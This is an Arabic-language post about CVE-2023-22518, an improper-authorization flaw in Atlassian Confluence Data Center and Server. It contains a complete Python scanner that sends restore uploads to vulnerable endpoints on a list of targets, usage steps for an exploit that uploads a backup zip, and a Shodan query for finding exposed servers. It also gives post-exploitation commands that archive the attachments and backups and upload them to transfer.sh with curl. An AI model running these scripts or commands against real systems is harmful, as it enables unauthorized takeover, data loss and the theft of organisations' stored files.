
ثغرة التفويض غير المناسب في مركز بيانات Confluence والخادم + bugsBonus 🔥
ثغرة التفويض غير الصحيح في Confluence Data Center و Server.
حذرت Atlassian المسؤولين من ثغرة خطيرة في Confluence. قد يؤدي استغلال هذه الثغرة إلى فقدان البيانات، لذا توصي الشركة المطورة بتثبيت التصحيح فورًا.
يُشار إلى أنه لا يمكن استخدام الثغرة لتسريب البيانات ولا تؤثر على مواقع Atlassian Cloud التي يتم الوصول إليها عبر نطاق atlassian.net.
| المنتج | الإصدارات المتأثرة | الإصدارات المصححة |
|---|---|---|
| Confluence Data Center | جميع الإصدارات متأثرة | 7.19.16 وما فوق |
| Confluence Server | 8.3.4 وما فوق | |
| 8.4.4 وما فوق | ||
| 8.5.3 وما فوق | ||
| 8.6.1 وما فوق |
النوع: تفويض غير صحيح
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action المنتدى
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
pip install pycryptodome
python3 exploit.py
أدخل URL: http://domain/json/setup-restore.action?synchronous=true
أدخل المسار إلى ملف .zip: /path/xmlexport-20231109-060519-1.zip
بحث Shodan:
http.favicon.hash:-305179312
تطبيق Confluence Backdoor Shell
عند استعادة Confluence باستخدام هذه الثغرة، لا يزال دليل %CONFLUENCE_HOME%/attachments مليئًا بالملفات، قد يصل عددها إلى آلاف. استخراجها بسيط جدًا، ويمكن تحديد امتداداتها باستخدام أمر file في Linux. مثال:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
أو
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
مثال عن كيفية أرشفة دليل بسهولة وفك الأرشفة:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
أو
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip
مقال حول باب خلفي جديد يستمر حتى بعد إصلاح الثغرة الخطيرة في Confluence